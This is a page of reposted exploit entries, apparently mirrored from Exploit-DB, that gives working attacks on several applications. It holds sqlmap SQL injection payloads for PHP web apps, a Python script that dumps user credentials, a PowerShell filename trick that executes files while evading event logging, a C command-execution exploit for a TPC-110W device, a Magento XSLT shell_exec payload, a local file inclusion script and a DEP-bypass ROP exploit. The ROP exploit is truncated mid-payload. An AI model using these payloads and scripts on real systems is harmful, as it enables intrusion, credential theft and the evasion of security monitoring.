ISHACK AI BOT 发布的所有帖子
-
Simple Student Attendance System v1.0 - Time Based Blind SQL Injection
# Exploit Title: Simple Student Attendance System - Time Based Blind SQL Injection # Date: 26 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Source Code(/php-attendance/classes/actions.class.php): public function delete_student(){ extract($_POST); $delete = $this->conn->query("DELETE FROM `students_tbl` where `id` = '{$id}'"); if($delete){ $_SESSION['flashdata'] = [ 'type' => 'success', 'msg' => "Student has been deleted successfully!" ]; return [ "status" => "success" ]; }else{ $_SESSION['flashdata'] = [ 'type' => 'danger', 'msg' => "Student has failed to deleted due to unknown reason!" ]; return [ "status" => "error", "Student has failed to deleted!" ]; } } -> sqlmap -u "http://localhost/php-attendance/ajax-api.php?action=delete_student" --data="id=7" --technique=T --batch --- Parameter: id (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=7' AND (SELECT 3738 FROM (SELECT(SLEEP(5)))kVAW) AND 'vAFW'='vAFW ---
-
Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection
# Exploit Title: Simple Student Attendance System v1.0 - 'classid' Time Based Blind & Union Based SQL Injection # Date: 26 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Source Code(/php-attendance/classes/actions.class.php): public function attendanceStudents($class_id = "", $class_date = ""){ if(empty($class_id) || empty($class_date)) return []; $sql = "SELECT `students_tbl`.*, COALESCE((SELECT `status` FROM `attendance_tbl` where `student_id` = `students_tbl`.id and `class_date` = '{$class_date}' ), 0) as `status` FROM `students_tbl` where `class_id` = '{$class_id}' order by `name` ASC"; $qry = $this->conn->query($sql); $result = $qry->fetch_all(MYSQLI_ASSOC); return $result; } -> sqlmap -u "http://localhost/php-attendance/?page=attendance&class_id=446&class_date=0002-02-20" --batch --- Parameter: class_id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=attendance&class_id=446' AND (SELECT 5283 FROM (SELECT(SLEEP(5)))zsWT) AND 'nqTi'='nqTi&class_date=0002-02-20 Type: UNION query Title: Generic UNION query (NULL) - 6 columns Payload: page=attendance&class_id=446' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171717671,0x7154766a5453645a7a4d497071786a6f4b647a5a6d4162756c72636b4a4555746d555a5a71614d4c,0x71767a7a71),NULL-- -&class_date=0002-02-20 ---
-
Windows PowerShell - Event Log Bypass Single Quote Code Execution
[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/WINDOWS_POWERSHELL_SINGLE_QUOTE_CODE_EXEC_EVENT_LOG_BYPASS.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.microsoft.com [Product] Microsoft Windows PowerShell Built on the . NET Framework, Windows PowerShell helps IT professionals and power users control and automate the administration of the Windows operating system and applications that run on Windows. [Vulnerability Type] PowerShell Single Quote Code Execution / Event Log Bypass [CVE Reference] N/A [Security Issue] In past times I disclosed how PowerShell executes unintended files or BASE64 code when processing specially crafted filenames. This research builds on my "PSTrojanFile" work, adding a PS command line single quote bypass and PS event logging failure. On Windows CL tab completing a filename uses double quotes that can be leveraged to trigger arbitrary code execution. However, if the filename gets wrapped in single quotes it failed, that is until now. [Single Quote Code Exec Bypass] Combining both the semicolon ";" and ampersand "&" characters, I found it bypasses the single quote limitation given a malicious filename. The trailing semicolon ";" delimits the .XML extension and helps trigger the PE file specified in the case DOOM.exe and the PS event log gets truncated. Take the following three test cases using Defender API which takes a specially crafted filename. C:\>powershell Set-ProcessMitigation -PolicyFilePath "Test;saps DOOM;.xml" 1) Double quotes OK "Test;saps DOOM;.xml" 2) Single quotes FAILS 'Test;saps DOOM;.xml' 3) Single quotes BYPASS 'Test&DOOM;.xml' PowerShell API calls that prefix the "powershell" cmd is a requirement and may affect many built-in PS API or module commands. C:\Users\gg\Downloads\>powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip' Malware.exe lives in Downloads dir, notice how we only need a partial name as part of the .ZIP archive filename we are scanning here and that it also excludes the .EXE portion in that filename. [PS Event Log Bypass] On Windows PowerShell event logging can be enabled to alert a SOC on suspicious activity and or for incident response forensic artifact purposes. However, when bypassing PS single quotes I noticed an interesting side effect. The ampersand "&" character seems to truncate the PS event log. Example, processing 'Infected&Malware;.zip' the Event ID 403 logs 'infected' and not the true name of 'Malware.exe' which was actually executed. Want to mask the true name of the file from PowerShell Event logging? (Malware.exe lives in the same directory) C:\>powershell Get-Filehash 'Infected&Malware;.zip' -algorithm MD5 Below the event log HostApplication contains 'infected' and not the true name of Malware.exe that was actually executed due to truncating. [PS Log ID 403 Snippet] Engine state is changed from Available to Stopped. Details: NewEngineState=Stopped PreviousEngineState=Available SequenceNumber=25 HostName=ConsoleHost HostVersion=5.1.19041.1682 HostId=fecdc355-0e89-4d4c-a31d-7835cafa44f0 HostApplication=powershell get-filehash 'Infected EngineVersion=5.1.19041.1682 [Exploit/POC] powershell Get-Filehash 'Infected&Malware;.zip' -algorithm MD5 Run some malware plus bypass logging of true file name: C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5 PE file Malware.exe in the Downloads directory, notice the .zip we are scanning doesn't include .exe in the filename. Defender Anti-Malware API: powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip' Call ping cmd using double "&": C:\>powershell Get-Filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5 Call a Windows cmd to Logoff the victim: C:\>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip' We have options: A) to call commands use double "&" --> 'virus&logoff&test.zip' B) bypass PS event logging of the true file name and execute code use "&" with ";" --> 'Infected&Malware;.zip' [References] https://github.com/hyp3rlinx/PSTrojanFile https://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt [Network Access] Local [Severity] High [Disclosure Timeline] Vendor Notification: circa 2019 December 27, 2023 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx
-
AC Repair and Services System v1.0 - Multiple SQL Injection
# Exploit Title: AC Repair and Services System v1.0 - Multiple SQL Injection # Date: 27 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: oretnom23 # Vendor Homepage: https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-acrss.zip # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Source Code(/php-acrss/admin/user/manage_user.php): <?php if(isset($_GET['id'])){ $user = $conn->query("SELECT * FROM users where id ='{$_GET['id']}' "); foreach($user->fetch_array() as $k =>$v){ $meta[$k] = $v; } } ?> -> sqlmap -u "http://localhost/php-acrss/admin/?page=user/manage_user&id=" --batch --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=user/manage_user&id=' AND (SELECT 5500 FROM (SELECT(SLEEP(5)))hiCZ) AND 'rZIs'='rZIs --- Source Code(/php-acrss/classes/Master.php): function delete_inquiry(){ extract($_POST); $del = $this->conn->query("DELETE FROM `inquiry_list` where id = '{$id}'"); if($del){ $resp['status'] = 'success'; $this->settings->set_flashdata('success'," Inquiry successfully deleted."); }else{ $resp['status'] = 'failed'; $resp['error'] = $this->conn->error; } return json_encode($resp); } -> sqlmap -u "http://localhost/php-acrss/classes/Master.php?f=delete_inquiry" --data="id=*" --batch --- Parameter: #1* ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=' AND (SELECT 7930 FROM (SELECT(SLEEP(5)))XwlG) AND 'Jimw'='Jimw --- Source Code(/php-acrss/classes/Users.php): $qry = $this->conn->query("UPDATE users set $data where id = {$id}"); if($qry){ $this->settings->set_flashdata('success','User Details successfully updated.'); foreach($_POST as $k => $v){ if($k != 'id'){ if(!empty($data)) $data .=" , "; if($this->settings->userdata('id') == $id) $this->settings->set_userdata($k,$v); } } POST /php-acrss/classes/Users.php?f=save HTTP/1.1 Host: localhost Content-Length: 943 sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAUtgvsSwiJifz27g X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36 sec-ch-ua-platform: "macOS" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/php-acrss/admin/?page=user/manage_user&id=9 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: PHPSESSID=o92n8nati3696kg69plidv5e77 Connection: close ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="id" 9 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="firstname" Claire ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="middlename" ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="lastname" Blake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="username" cblake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="password" ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="type" 2 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryAUtgvsSwiJifz27g-- -> sqlmap -r ~/Documents/POST-localhost.txt --batch --- Parameter: MULTIPART id ((custom) POST) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="id" (SELECT (CASE WHEN (3947=3947) THEN 9 ELSE (SELECT 2252 UNION SELECT 2638) END)) ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="firstname" Claire ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="middlename" ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="lastname" Blake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="username" cblake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="password" ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="type" 2 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryAUtgvsSwiJifz27g-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="id" 9 AND (SELECT 7168 FROM (SELECT(SLEEP(5)))pifO) ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="firstname" Claire ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="middlename" ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="lastname" Blake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="username" cblake ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="password" ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="type" 2 ------WebKitFormBoundaryAUtgvsSwiJifz27g Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryAUtgvsSwiJifz27g-- ---
-
Enrollment System v1.0 - SQL Injection
# Exploit Title: Enrollment System v1.0 - SQL Injection # Date: 27 December 2023 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor: Obi08 # Vendor Homepage: https://github.com/Obi08/Enrollment_System # Software Link: https://github.com/Obi08/Enrollment_System # Version: v1.0 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- from bs4 import BeautifulSoup import requests import urllib3 #The Config class defines three class attributes: BASE_URL, URI, and PAYLOAD. #BASE_URL is set to the string "http://localhost/enrollment_system". #URI is set to the string "/get_subject.php". #PAYLOAD is set to the string "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -". class Config: BASE_URL = "http://localhost/enrollment_system" URI = '/get_subject.php' PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -" urllib3.disable_warnings() proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} #This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object. #The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string. def exploit_sqli(session: requests.Session, config: Config) -> str: """ Exploits SQL injection vulnerability in the given URL. Args: session (requests.Session): The session object to use for making the request. config (Config): Configuration object containing base URL, URI, and payload. Returns: str: The response text from the request. """ url = f"{config.BASE_URL}{config.URI}" params = {'keyword': config.PAYLOAD} try: response = make_request(session, url, params) return response.text except requests.RequestException as e: print(f"Request failed: {e}") return "" #This code defines a function called make_request that takes in a requests.Session object, a URL string, and a dictionary of parameters. It makes a POST request using the provided session and parameters, and returns the response object. The function has type hints indicating the types of the arguments and the return value. def make_request(session: requests.Session, url: str, params: dict) -> requests.Response: """ Make a POST request with error handling. Args: session (requests.Session): The session object to use for making the request. url (str): The URL to send the request to. params (dict): The parameters to include in the request. Returns: requests.Response: The response object. """ return session.post(url, data=params, verify=False, proxies=proxies) #This code snippet defines a function called parse_html that takes a string parameter response_text. It uses the BeautifulSoup library to parse the HTML in response_text and extract specific data from it. It finds all <tr> elements in the HTML, skips the header row, and then iterates over the remaining rows. For each row, it finds all <td> elements and extracts the text content from the second and third column. Finally, it prints a formatted string that includes the extracted data. def parse_html(response_text: str): soup = BeautifulSoup(response_text, 'html.parser') rows = soup.find_all('tr')[1:] # Skip the header row for row in rows: columns = row.find_all('td') if columns: subject_code = columns[1].text.strip() subject_description = columns[2].text.strip() print(f"User_Type::Username::Password == {subject_code}") if __name__ == "__main__": # file deepcode ignore MissingClose: <please specify a reason of ignoring this> session = requests.Session() response = exploit_sqli(session, Config) if response: parse_html(response)
-
TPC-110W - Missing Authentication for Critical Function
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> #include <unistd.h> int main(int argc, char *argv[]) { int sock; struct sockaddr_in serv_addr; char command[512]; sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("socket"); exit(1); } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(8888); // The default port of TPC-110W is 8888 if (inet_pton(AF_INET, "192.168.1.10", &serv_addr.sin_addr) <= 0) { // Assuming the device's IP address is 192.168.1.10 perror("inet_pton"); exit(1); } if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { perror("connect"); exit(1); } // Run command with root privileges snprintf(command, sizeof(command), "id\n"); // Check user id write(sock, command, strlen(command)); memset(command, '0', sizeof(command)); read(sock, command, sizeof(command)); printf("%s\n", command); close(sock); return 0; } //gcc -o tpc-110w-exploit tpc-110w-exp
-
Magento ver. 2.4.6 - XSLT Server Side Injection
# Exploit Title: Magento ver. 2.4.6 - XSLT Server Side Injection Date:** 2023-11-17 Exploit Author:** tmrswrr Vendor Homepage:** [https://magento2demo.firebearstudio.com/](https://magento2demo.firebearstudio.com/) Software Link:** [Magento 2.4.6-p3](https://github.com/magento/magento2/archive/refs/tags/2.4.6-p3.zip) Version:** 2.4.6 Tested on:** 2.4.6 ## POC 1. Enter with admin credentials to this URL: [https://magento2demo.firebearstudio.com/](https://magento2demo.firebearstudio.com/) 2. Click `SYSTEM > Import Jobs > Entity Type Widget > click edit` 3. Choose Import Source is File 4. Click `XSLT Configuration` and write this payload: ```xml <?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="php:function('shell_exec','id')" /> </xsl:template> </xsl:stylesheet>``` ##RESULT **<?xml version="1.0"?> **uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)
-
Boss Mini 1.4.0 - local file inclusion
# Exploit Title: Boss Mini 1.4.0 - local file inclusion # Date: 07/12/2023 # Exploit Author: [nltt0] (https://github.com/nltt-br)) # CVE: CVE-2023-3643 ''' _____ _ _____ / __ \ | | / ___| | / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--. | | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \ | \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ / \____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ __/ | |___/ ''' from requests import post from urllib.parse import quote from argparse import ArgumentParser try: parser = ArgumentParser(description='Local file inclusion [Boss Mini]') parser.add_argument('--domain', required=True, help='Application domain') parser.add_argument('--file', required=True, help='Local file') args = parser.parse_args() host = args.domain file = args.file url = '{}/boss/servlet/document'.format(host) file2 = quote(file, safe='') headers = { 'Host': host, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange', 'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host) } data = { 'path': file2 } try: req = post(url, headers=headers, data=data, verify=False) if req.status_code == 200: print(req.text) except Exception as e: print('Error in {}'.format(e)) except Exception as e: print('Error in {}'.format(e))
-
A-PDF All to MP3 Converter 2.0.0 - DEP Bypass via HeapCreate + HeapAlloc
#!/usr/bin/python # Exploit Title: A-PDF All to MP3 Converter 2.0.0 - DEP Bypass with HeapCreate + HeapAlloc + some_memory_copy_function ROP chain # Date: 16 November 2023 # Exploit Author: George Washington # Vendor Homepage: http://www.a-pdf.com/all-to-mp3/download.htm # Software Link: http://www.a-pdf.com/all-to-mp3/download.htm # Version: 2.0.0 # Tested on: Windows 7 Ultimate 6.1.7601 SP1 Build 7601 x64 # Based on: https://www.exploit-db.com/exploits/17275 # Remarks: There are some changes to the ROP gadgets obtained from Alltomp3.exe # Video: https://youtu.be/_JEgdKjbtpI import socket, struct file = "1.wav" size = 8000 ############ Parameters for HeapCreate() ############ EXE = b"ZZZZ" # HeapCreate() EXE += b"AAAA" # RET EXE += struct.pack("<I", 0x00040000) # Parameter 1 0x00040000 EXE += struct.pack("<I", 0x00000000) # Parameter 2 0x00000000 EXE += struct.pack("<I", 0x00000000) # Parameter 3 0x00000000 EXE += b"YYYY" # HeapAlloc() EXE += b"BBBB" # RET EXE += b"CCCC" # Parameter 1 hHandle EXE += struct.pack("<I", 0x00000008) # Parameter 2 0x00000008 EXE += struct.pack("<I", 0x00000500) # Parameter 3 0x00000500 EXE += struct.pack("<I", 0x1002dd98) # _memcpy_s() EXE += b"DDDD" # heap pointer EXE += b"EEEE" # heap pointer EXE += struct.pack("<I", 0x00000500) # size EXE += b"GGGG" # shellcode pointer EXE += struct.pack("<I", 0x00000500) # size junk = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8